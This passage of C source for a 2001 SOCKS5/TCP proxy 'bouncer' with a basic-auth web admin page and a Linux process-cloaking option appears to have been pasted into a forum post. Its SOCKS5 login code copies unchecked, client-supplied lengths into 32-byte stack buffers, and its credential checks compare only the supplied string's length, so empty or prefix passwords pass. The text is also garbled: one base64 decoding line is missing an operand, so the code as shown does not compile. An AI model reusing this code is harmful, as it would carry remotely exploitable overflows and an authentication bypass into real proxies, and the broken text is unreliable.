INVALID_SOCKET; if(clients[i].total_bytes) { seconds = time(NULL) - clients[i].start_time; seconds = (1 > seconds) ? 1 : seconds; kb = clients[i].total_bytes / 1024.0; if(strncmp(format_float(kb), "0.00", 4) != 0) { kbps = kb / seconds; snprintf(buffer, sizeof(buffer), "%s Connection %d Closed (", timestamp(), i + 1); strcat(buffer, format_float(kb)); strncat(buffer, " KB, ", 5); strcat(buffer, format_float(kbps)); strncat(buffer, " KB/s)\n", 8); oline(stdout, buffer); } else { oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1); } } else { if(clients[i].status == csAdmin) { oline(stdout, HTTP_CONNECTION_CLOSED, timestamp(), i + 1); } else { oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1); } } clients[i].status = csBlank; }}char *format_float(float f) { char buffer[16]; static char obuffer[16]; char *p; char *no = NULL; char *precision = NULL; unsigned int c; unsigned int i; unsigned int j; int bcount = 0; memset(&buffer, 0, sizeof(buffer)); memset(&obuffer, 0, sizeof(obuffer)); snprintf(buffer, sizeof(buffer), "%.2f", f); if((p = strtok(buffer, ".")) != NULL) { no = p; if((p = strtok(NULL, "\r")) != NULL) { precision = p; } } if(((strlen(no) - 1) / 3) > 0) { if((c = strlen(no) % 3) != 0) { for(i = 0; i < c; i++) { obuffer[bcount++] = no[i]; } obuffer[bcount++] = ','; } for(i = c; i < strlen(no); i += 3) { if(i != c) { obuffer[bcount++] = ','; } for(j = 0; j < 3; j++) { obuffer[bcount++] = no[i + j]; } } strncat(obuffer, ".", 1); strncat(obuffer, precision, sizeof(precision)); bcount += 3; obuffer[bcount] = 0; } else { snprintf(obuffer, sizeof(obuffer), "%.2f", f); } return(obuffer);}int send_socks5_response(char *response, int i, int success, int bytes) { if(success) { response[1] = 0; } else { response[1] = 1; } if((send(clients[i].s[0], response, bytes, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); return(ERROR); } return(SUCCESS);}void initsocks(int i, char *t, int tcpnodelay) { int socks5_host_c; int bytes; int j, a; int ulen, plen; char user[32]; char password[32]; if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) == ERROR) { oerror("recv", __FILE__, __LINE__, i + 1); close_client_sockets(i); } else if(bytes == 0) { close_client_sockets(i); } else { if((buffer[0] == 5) && (buffer[1] == 1) && (buffer[2] == 0) && (bytes == 3)) { if(strlen(options.s_user) != 0) { send_socks5_response(buffer, i, FALSE, 2); close_client_sockets(i); oline(stdout, REJECTED_SOCKS5_FAIL, timestamp(), i + 1); } else { send_socks5_response(buffer, i, TRUE, 2); } } else if((buffer[0] == 5) && (buffer[1] == 2) && (buffer[2] == 0) && (buffer[3] == 2) && (bytes == 4)) { buffer[2] = 0; if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); } } else if(buffer[0] == 1) { if(strlen(options.s_user) == 0) { buffer[1] = 0; if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); } } else { ulen = buffer[1]; for(a = 0; a < ulen; a++) { user[a] = buffer[a + 2]; } user[ulen] = 0; plen = buffer[ulen + 2]; for(a = 0; a < plen; a++) { password[a] = buffer[(ulen + 3) + a]; } password[plen] = 0; if((strncmp(options.s_user, user, strlen(user)) == 0) && (strncmp(options.s_password, password, strlen(password)) == 0)) { buffer[1] = 0; if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); } } else { buffer[1] = 1; if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); } else { oline(stdout, REJECTED_SOCKS5_FAIL, timestamp(), i + 1); close_client_sockets(i); } } } } else if((buffer[0] == 5)&&(buffer[1] == 1)&&(buffer[2] == 0)&&(buffer[3] == 1)) { memset(&clients[i].socks5_response, 0, sizeof(clients[i].socks5_response)); for(j = 0; j < bytes; j++) { clients[i].socks5_response[j] = buffer[j]; } clients[i].socks5_bytes = bytes; if(strlen(t) == 0) { snprintf(clients[i].socks5_dest_host, sizeof(clients[i].socks5_dest_host), "%d.%d.%d.%d", (unsigned int)(buffer[4] & 0xFF), (unsigned int)(buffer[5] & 0xFF), (unsigned int)(buffer[6] & 0xFF), (unsigned int)(buffer[7] & 0xFF)); snprintf(clients[i].socks5_dest_port, sizeof(clients[i].socks5_dest_port), "%d", ((unsigned int)(buffer[8] & 0xFF) * 256) + (unsigned int)(buffer[9] & 0xFF)); } else { snprintf(clients[i].tunnel, sizeof(clients[i].tunnel), "%d.%d.%d.%d:%d", (unsigned int)(buffer[4] & 0xFF), (unsigned int)(buffer[5] & 0xFF), (unsigned int)(buffer[6] & 0xFF), (unsigned int)(buffer[7] & 0xFF), ((unsigned int)(buffer[8] & 0xFF) * 256) + (unsigned int)(buffer[9] & 0xFF)); } socks_connect(i, t, tcpnodelay); } else if((buffer[0] == 5)&&(buffer[1] == 1)&&(buffer[2] == 0)&&(buffer[3] == 3)) { memset(&clients[i].socks5_response, 0, sizeof(clients[i].socks5_response)); for(j = 0; j < bytes; j++) { clients[i].socks5_response[j] = buffer[j]; } clients[i].socks5_bytes = bytes; socks5_host_c = (unsigned int)(buffer[4] & 0xFF); memset(&clients[i].socks5_dest_host, 0, sizeof(clients[i].socks5_dest_host)); for(j = 0; j < socks5_host_c; j++) { clients[i].socks5_dest_host[j] = buffer[j + 5]; } clients[i].socks5_dest_host[j + 1] = '\0'; snprintf(clients[i].socks5_dest_port, sizeof(clients[i].socks5_dest_port), "%d", ((unsigned int)(buffer[j + 5] & 0xFF) * 256) + (unsigned int)(buffer[j + 6] & 0xFF)); if(strlen(t) != 0) { snprintf(clients[i].tunnel, sizeof(clients[i].tunnel), "%s:%s", clients[i].socks5_dest_host, clients[i].socks5_dest_port); } socks_connect(i, t, tcpnodelay); } else { oline(stdout, SOCKS5_UNKNOWN_DATA, timestamp(), i + 1); close_client_sockets(i); } }}void socks_connect(int i, char *t, int tcpnodelay) { char *cp = NULL; if(strlen(t) == 0) { snprintf(options.dest_host, sizeof(options.dest_host), "%s", clients[i].socks5_dest_host); snprintf(options.dest_port, sizeof(options.dest_port), "%s", clients[i].socks5_dest_port); } connect_to(i, options.dest_host, (int)strtol(options.dest_port, &cp, 10), 1, tcpnodelay);}char *base64e(char *data) { static unsigned char Base64Map[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static char buffer[128]; unsigned int i; int bits = 0; int count = 0; int cols = 0; int bcount = 0; memset(&buffer, 0, sizeof(buffer)); for(i = 0; i < strlen(data); i++) { bits += (int)data[i]; count++; if(count == 3) { buffer[bcount++] = Base64Map[bits >> 18]; buffer[bcount++] = Base64Map[(bits >> 12) & 0x3F]; buffer[bcount++] = Base64Map[(bits >> 6) & 0x3F]; buffer[bcount++] = Base64Map[bits & 0x3F]; cols += 4; if(cols == 72) { buffer[bcount++] = '\n'; cols = 0; } bits = 0; count = 0; } else { bits <<= 8; } } if(count != 0) { bits <<= 16 - (8 * count); buffer[bcount++] = Base64Map[bits >> 18]; buffer[bcount++] = Base64Map[(bits >> 12) & 0x3F]; if(count == 1) { buffer[bcount++] = '='; buffer[bcount++] = '='; } else { buffer[bcount++] = Base64Map[(bits >> 6) & 0x3F]; buffer[bcount++] = '='; } } buffer[bcount] = 0; return(buffer);}void socketclose(SOCKET s, int i) {#ifdef _WIN32 if(s != INVALID_SOCKET) { if((closesocket(s)) == ERROR) { oerror("closesocket", __FILE__, __LINE__, i + 1); } }#else if(s != INVALID_SOCKET) { if((close(s)) == ERROR) { oerror("close", __FILE__, __LINE__, i + 1); } }#endif}void show_version(void) { oline(stdout, "%s %s\n", APPNAME, VERSION); oline(stdout, "Build Date: %s %s\n", __DATE__, __TIME__);#ifdef __VERSION__ oline(stdout, "Build Info: %s\n", __VERSION__);#endif oline(stdout, "Copyright (c) 2000, 2001 Chris Mason\n"); oline(stdout, "All Rights Reserved\n\n");}void show_usage(void) { oline(stdout, "\t--port Port\n"); oline(stdout, "\t--destination Host:Port\n"); oline(stdout, "\t--socks5\n"); oline(stdout, "\t[--bind IP]\n"); oline(stdout, "\t[--tunnel Host:Port]\n"); oline(stdout, "\t[--logfile File]\n");#ifndef _WIN32 oline(stdout, "\t[--pidfile File]\n");#else oline(stdout, "\t[--gui hWnd]\n");#endif oline(stdout, "\t[--aport Port]\n"); oline(stdout, "\t[--abind IP]\n"); oline(stdout, "\t[--allow IP Mask]\n"); oline(stdout, "\t[--deny IP Mask]\n");#ifdef LINUX oline(stdout, "\t[--cloak Cloaked Process]\n");#endif oline(stdout, "\t[--t_user User]\n"); oline(stdout, "\t[--t_password Password]\n"); oline(stdout, "\t[--s_user User]\n"); oline(stdout, "\t[--s_password Password]\n"); oline(stdout, "\t[--a_user User]\n"); oline(stdout, "\t[--a_password Password]\n"); oline(stdout, "\t[--tcpnodelay]\n"); oline(stdout, "\t[--nodebug]\n"); oline(stdout, "\t[--daemon]\n\n");}int allowed(int i, int adp, int narules, int ndrules) { int outcome = csAllowed; int j; int k = 0; if((narules > 0) && (ndrules == 0)) { outcome = csRejected; for(j = 0; j < narules; j++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[j])) { outcome = csAllowed; break; } } } else if((narules == 0) && (ndrules > 0)) { outcome = csAllowed; for(j = 0; j < ndrules; j++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[j])) { outcome = csRejected; break; } } } else if((narules > 0) && (ndrules > 0)) { switch(adp) { case DEFAULT_POLICY_ALLOW: for(j = 0; j < ndrules; j++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[j])) { outcome = csRejected; for(k = 0; k < narules; k++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[k])) { outcome = csAllowed; break; } } } } break; case DEFAULT_POLICY_DENY: for(j = 0; j < narules; j++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[j])) { outcome = csAllowed; for(j = 0; k < ndrules; k++) { if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[k])) { outcome = csRejected; break; } } } } } } return(outcome);}int connect_to(int i, char *dest_host, int dest_port, int socks5, int tcpnodelay) { int tcp_nodelay = TRUE; struct hostent *hp; if((clients[i].s[1] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { oerror("socket", __FILE__, __LINE__, i + 1); if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } if(tcpnodelay) { if((setsockopt(clients[i].s[1], IPPROTO_TCP, TCP_NODELAY, (char *)&tcp_nodelay, sizeof(tcp_nodelay))) == ERROR) { oerror("setsockopt", __FILE__, __LINE__, i + 1); if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } } memset(&clients[i].SockAddrOut, 0, sizeof(struct sockaddr_in)); clients[i].SockAddrOut.sin_family = AF_INET; if(isdigit(*dest_host)) { clients[i].SockAddrOut.sin_addr.s_addr = inet_addr(dest_host); } else { if((hp = gethostbyname(dest_host)) == NULL) { oerror("gethostbyname", __FILE__, __LINE__, i + 1); if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } clients[i].SockAddrOut.sin_addr = *(struct in_addr *)hp->h_addr_list[0]; } clients[i].SockAddrOut.sin_port = htons(dest_port); oline(stdout, CONNECTION_ATTEMPT, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), dest_port); if(set_non_blocking(clients[i].s[1], i) == -1) { if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } if(connect(clients[i].s[1], (const struct sockaddr *)&clients[i].SockAddrOut, sizeof(struct sockaddr_in)) == -1) {#ifndef _WIN32 if((errno != EAGAIN) && (errno != EINPROGRESS)) {#else if(WSAGetLastError() != WSAEWOULDBLOCK) {#endif oerror("connect", __FILE__, __LINE__, i + 1); if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } } else { if(set_blocking(clients[i].s[1], i) == -1) { if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); return(-1); } oline(stdout, CONNECTION_CONNECTED, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), dest_port); return(0); } clients[i].status = csConnecting; return(0);}void ssl_tunnel(int i, char *destination, char *auth_string, int socks5) { oline(stdout, SSL_TUNNELLING, timestamp(), i + 1, destination); if(auth_string != NULL) { snprintf(buffer, sizeof(buffer), SSL_CONNECT_STRING_AUTH, destination, auth_string); } else { snprintf(buffer, sizeof(buffer), SSL_CONNECT_STRING_NOAUTH, destination); } if((send(clients[i].s[1], buffer, strlen(buffer), 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); if(socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); } clients[i].status = csAuthenticating;}int set_non_blocking(SOCKET s, int i) {#ifdef _WIN32 unsigned long nonblock[] = { 1 }; if(ioctlsocket(s, FIONBIO, nonblock) == -1) { oerror("ioctlsocket", __FILE__, __LINE__, i + 1);#else if(fcntl(s, F_SETFL, O_NONBLOCK) == -1) { oerror("fcntl", __FILE__, __LINE__, i + 1);#endif close_client_sockets(i); return(-1); } return(0);}int set_blocking(SOCKET s, int i) {#ifdef _WIN32 unsigned long nonblock[] = { 0 }; if(ioctlsocket(s, FIONBIO, nonblock) == -1) { oerror("ioctlsocket", __FILE__, __LINE__, i + 1);#else if(fcntl(s, F_SETFL, 0) == -1) { oerror("fcntl", __FILE__, __LINE__, i + 1);#endif close_client_sockets(i); return(-1); } return(0);}int examine_http_request(char *buffer) { char *copy = strdup(buffer); char *p; if((p = strtok(copy, "\r\n")) != NULL) { if(http_authorized(buffer)) { if(strncmp(p, "GET / HTTP/1.1", 14) == 0) { free(copy); return(HTTP_INDEX); } else if(strncmp(p, "GET /shutdown HTTP/1.1", 22) == 0) { free(copy); return(HTTP_SHUTDOWN); } else if(strncmp(p, "GET /list HTTP/1.1", 18) == 0) { free(copy); return(HTTP_LIST); } } else { free(copy); return(HTTP_AUTH_HEADERS); } } else { free(copy); } return(-1);}int http_authorized(char *p) { char auth[128]; char *q, *r, *s, *t; if((q = strstr(p, "Authorization: Basic")) != NULL) { q += 21; if((r = strtok(q, "\r\n")) != NULL) { memset(&auth, 0, sizeof(auth)); if(base64d(r, auth) != -1) { if((s = strtok(auth, ":")) != NULL) { if((t = strtok(NULL, "\n")) != NULL) { if((strncmp(s, admin.username, strlen(admin.username)) == 0) && (strncmp(t, admin.password, strlen(admin.password)) == 0)) { return(1); } } } } } } return(0);}int base64d(char *data, char *target) { int length = strlen(data); int i; int result = 0; int a, b, c, d; unsigned long l; static unsigned char data_ascii2bin[128] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xE0,0xF0,0xFF,0xFF,0xF1,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xE0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0x3E,0xFF,0xF2,0xFF,0x3F, 0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B, 0x3C,0x3D,0xFF,0xFF,0xFF,0x00,0xFF,0xFF, 0xFF,0x00,0x01,0x02,0x03,0x04,0x05,0x06, 0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E, 0x0F,0x10,0x11,0x12,0x13,0x14,0x15,0x16, 0x17,0x18,0x19,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20, 0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28, 0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30, 0x31,0x32,0x33,0xFF,0xFF,0xFF,0xFF,0xFF, }; if((!target) || (!data) || (length <= 0)) { return(-1); } while((conv_ascii2bin(*data) == BASE64_WS) && (length > 0)) { data++; length--; } while((length > 3) && (BASE64_NOT_BASE64(conv_ascii2bin(data[length - 1])))) { length--; } if((length % 4) != 0) { return(-1); } for(i = 0; i < length; i += 4) { a = conv_ascii2bin(*(data++)); b = conv_ascii2bin(*(data++)); c = conv_ascii2bin(*(data++)); d = conv_ascii2bin(*(data++)); if((a & 0x80) || (b & 0x80) || (c & 0x80) || (d & 0x80)) { return(-1); } l = ((((unsigned long)a) << 18L) | (((unsigned long) << 12L) | (((unsigned long)c) << 6L) | (((unsigned long)d))); *(target++) = (unsigned char)(l >> 16L) & 0xFF; *(target++) = (unsigned char)(l >> 8L) & 0xFF; *(target++) = (unsigned char)(l) & 0xFF; result += 3; } return(--result);}void send_auth_headers(SOCKET s, int i) { char buffer[1024]; snprintf(buffer, sizeof(buffer), "HTTP/1.1 401 Authorization Required\r\n"); strcat(buffer, "WWW-Authenticate: Basic realm=\"Bouncer Admin\"\r\n"); strcat(buffer, "Keep-Alive: timeout=15, max=100\r\n"); strcat(buffer, "Connection: Keep-Alive\r\n"); strcat(buffer, "Transfer-Encoding: chunked\r\n"); strcat(buffer, "Content-Type: text/html; charset=iso-8859-1\r\n\r\n"); strcat(buffer, "1cf\r\n"); strcat(buffer, "<html><head><title>401 Authorization Required</title>\r\n"); strcat(buffer, "</head><body><h1>Authorization Required</h1><p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p></body></html>\r\n"); if(send(s, buffer, strlen(buffer), 0) == -1) { oerror("send", __FILE__, __LINE__, i + 1); }}void send_index(SOCKET s, int i) { char buffer[1024]; char sbuffer[512]; snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n"); strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n"); strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n"); strcat(buffer, "a:link { color: white }\r\n"); strcat(buffer, "a:visited { color:white }\r\n"); strcat(buffer, "a:hover { color:red }\r\n"); strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n"); snprintf(sbuffer, sizeof(sbuffer), "<p>Bouncer Uptime: %s<br>Total Connections: %ld<br>Total Data Throughput: %s KB</p>\r\n", format_time(time(NULL) - init_time), connections, format_float(total_data / 1024.0)); strcat(buffer, sbuffer); strcat(buffer, "<p><a href=\"/list\">List Connections</a><br><a href=\"/shutdown\">Shutdown Bouncer</a></p>\r\n"); strcat(buffer, "</body></html>\r\n"); if(send(s, buffer, strlen(buffer), 0) == -1) { oerror("send", __FILE__, __LINE__, i + 1); }}void send_list(SOCKET s, int i, int socks5) { char buffer[16384]; char sbuffer[1024]; char state[32]; char destination[32]; int a; snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n"); strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n"); strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n"); strcat(buffer, "table { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n"); strcat(buffer, "a:link { color: white }\r\n"); strcat(buffer, "a:visited { color:white }\r\n"); strcat(buffer, "a:hover { color:red }\r\n"); strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n<p>"); if((!socks5) || (strlen(options.t) != 0)) { strcat(buffer, "<p>"); if(!socks5) { snprintf(sbuffer, sizeof(sbuffer), "Destination Host: %s<br>", options.destination); strcat(buffer, sbuffer); } if(strlen(options.t) != 0) { snprintf(sbuffer, sizeof(sbuffer), "SSL Tunnel Host: %s", options.tunnel); strcat(buffer, sbuffer); } strcat(buffer, "</p>"); } if(socks5) { strcat(buffer, "<table class=body border=\"1\"><tr bgcolor=\"RED\"><th align=\"center\">Slot</th><th align=\"center\">Status</th><th align=\"center\">Source</th><th align=\"center\">Destination</th><th align=\"center\">Time Connected</th><th align=\"center\">Data Transferred</th></tr>"); } else { strcat(buffer, "<table class=body border=\"1\"><tr bgcolor=\"RED\"><th align=\"center\">Slot</th><th align=\"center\">Status</th><th align=\"center\">Source</th><th align=\"center\">Time Connected</th><th align=\"center\">Data Transferred</th></tr>"); } for(a = 0; a < MAX_CONNECTIONS; a++) { if(clients[a].status != csBlank) { switch(clients[a].status) { case csUnknown: snprintf(state, sizeof(state), "Unknown"); break; case csConnecting: snprintf(state, sizeof(state), "Connecting"); break; case csSocks: snprintf(state, sizeof(state), "Socks Authenticating"); break; case csAuthenticating: snprintf(state, sizeof(state), "SSL Tunnelling"); break; case csAuthenticated: snprintf(state, sizeof(state), "Active Connection"); break; case csAdmin: snprintf(state, sizeof(state), "Admin"); break; } if(socks5) { if(clients[a].status == csAdmin) { snprintf(sbuffer, sizeof(sbuffer), LIST_ADMIN_SOCKS, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time)); } else { if(clients[a].status == csSocks) { snprintf(destination, sizeof(destination), " "); } else { snprintf(destination, sizeof(destination), "%s:%s", clients[a].socks5_dest_host, clients[a].socks5_dest_port); } snprintf(sbuffer, sizeof(sbuffer), LIST_SOCKS, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), destination, format_time(time(NULL) - clients[a].start_time), format_float(clients[a].total_bytes / 1024.0)); } } else { if(clients[a].status == csAdmin) { snprintf(sbuffer, sizeof(sbuffer), LIST_ADMIN, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time)); } else { snprintf(sbuffer, sizeof(sbuffer), LIST, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time), format_float(clients[a].total_bytes / 1024.0)); } } strcat(buffer, sbuffer); } } strcat(buffer, "</table></p><p><a href=\"/\">Back</a></body></html>\r\n"); if(send(s, buffer, strlen(buffer), 0) == -1) { oerror("send", __FILE__, __LINE__, i + 1); }}void send_shutdown(SOCKET s, int i) { char buffer[1024]; snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n"); strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n"); strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n"); strcat(buffer, "a:link { color: white }\r\n"); strcat(buffer, "a:visited { color:white }\r\n"); strcat(buffer, "a:hover { color:red }\r\n"); strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n"); strcat(buffer, "<p>Bouncer Successfully Shutdown</p>\r\n"); strcat(buffer, "</body></html>\r\n"); if(send(s, buffer, strlen(buffer), 0) == -1) { oerror("send", __FILE__, __LINE__, i + 1); }}char *format_time(time_t t) { int minutes = 0; int hours = 0; int days = 0; int weeks = 0; static char buffer[64]; memset(&buffer, 0, sizeof(buffer)); while(t >= 60) { minutes++; t -= 60; } while(minutes >= 60) { hours++; minutes -= 60; } while(hours >= 24) { days++; hours -= 24; } while(days >= 7) { weeks++; days -= 7; } if(weeks == 0) { if(days == 0) { if(hours == 0) { if(minutes == 0) { snprintf(buffer, sizeof(buffer), "%lds", (unsigned long)t); } else { snprintf(buffer, sizeof(buffer), "%dm, %lds", minutes, (unsigned long)t); } } else { snprintf(buffer, sizeof(buffer), "%dh, %dm, %lds", hours, minutes, (unsigned long)t); } } else { snprintf(buffer, sizeof(buffer), "%dd, %dh, %dm, %lds", days, hours, minutes, (unsigned long)t); } } else { snprintf(buffer, sizeof(buffer), "%dw, %dd, %dh, %dm, %lds", weeks, days, hours, minutes, (unsigned long)t); } return(buffer);}void initialise_options(void) { options.port = 0; options.socks5 = 0; options.hWnd = 0; options.daemon = 0; options.adp = 0; options.debug = 1; options.tcpnodelay = 0; admin.aport = 0; memset(&options.d, 0, sizeof(options.d)); memset(&options.t, 0, sizeof(options.t)); memset(&options.bind, 0, sizeof(options.bind)); memset(&options.dest_host, 0, sizeof(options.dest_host)); memset(&options.dest_port, 0, sizeof(options.dest_port)); memset(&options.destination, 0, sizeof(options.destination)); memset(&options.tunnel, 0, sizeof(options.tunnel)); memset(&options.pidfile, 0, sizeof(options.pidfile)); memset(&options.logfile, 0, sizeof(options.logfile)); memset(&options.t_user, 0, sizeof(options.t_user)); memset(&options.t_password, 0, sizeof(options.t_password)); memset(&options.s_user, 0, sizeof(options.s_user)); memset(&options.s_password, 0, sizeof(options.s_password)); memset(&options.a_user, 0, sizeof(options.a_user)); memset(&options.a_password, 0, sizeof(options.a_password)); memset(&options.cloak_name, 0, sizeof(options.cloak_name)); memset(&admin.username, 0, sizeof(admin.username)); memset(&admin.password, 0, sizeof(admin.password)); memset(&admin.bind, 0, sizeof(admin.bind));}Nu este scris de mine. Quote